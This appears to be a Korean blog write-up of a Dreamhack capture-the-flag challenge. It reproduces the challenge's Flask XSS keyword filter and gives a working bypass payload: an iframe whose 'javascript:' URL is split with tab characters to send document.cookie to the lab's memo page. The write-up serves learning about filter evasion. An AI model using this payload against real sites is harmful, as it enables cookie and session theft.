<문제>
Exercise: XSS Filtering Bypass의 패치된 문제입니다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
코드와 링크 구성은 거의 같아보인다.
앞의 문제와의 차이점은 xss_filter 함수밖에 없다.
replace방식의 필터링이 아니라 script, on, javascript가 존재하면 그냥 바로 return filtered!를 해버린다.
그리고 advanced filter로 window, self, this, document, location, (, ), &#까지 전부 다 막혀있다.
태그는 <iframe>태그를 이용하면 될거 같다.
javascript나 location 같이 필터링 되는 것을 우회하려고
javas%09cript 이런식으로 작성해서 공격 구문을 만들었지만 안됐다.
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
check_xss 함수에서 param을 넘길 때 이미 인코딩을 해서 넘기기 때문에 인코딩되지 않은 값을 넣어야 한다.
<iframe src="javascri pt:locatio n.href='/memo?memo='%2bdocumen t.cookie">
그냥 이렇게 tab을 이용해서 보내면 인코딩을 거치면서 바뀌고, 필터링에 걸리지 않게 된다.
'웹해킹' 카테고리의 다른 글
드림핵 CSP Bypass 롸업 (0) | 2023.11.25 |
---|---|
Content Security Policy & CSP Bypass (0) | 2023.11.24 |
드림핵 XSS Filtering Bypass 롸업 (0) | 2023.11.21 |
XSS Filtering Bypass (0) | 2023.11.20 |
드림핵 blind-command 롸업 (0) | 2023.11.05 |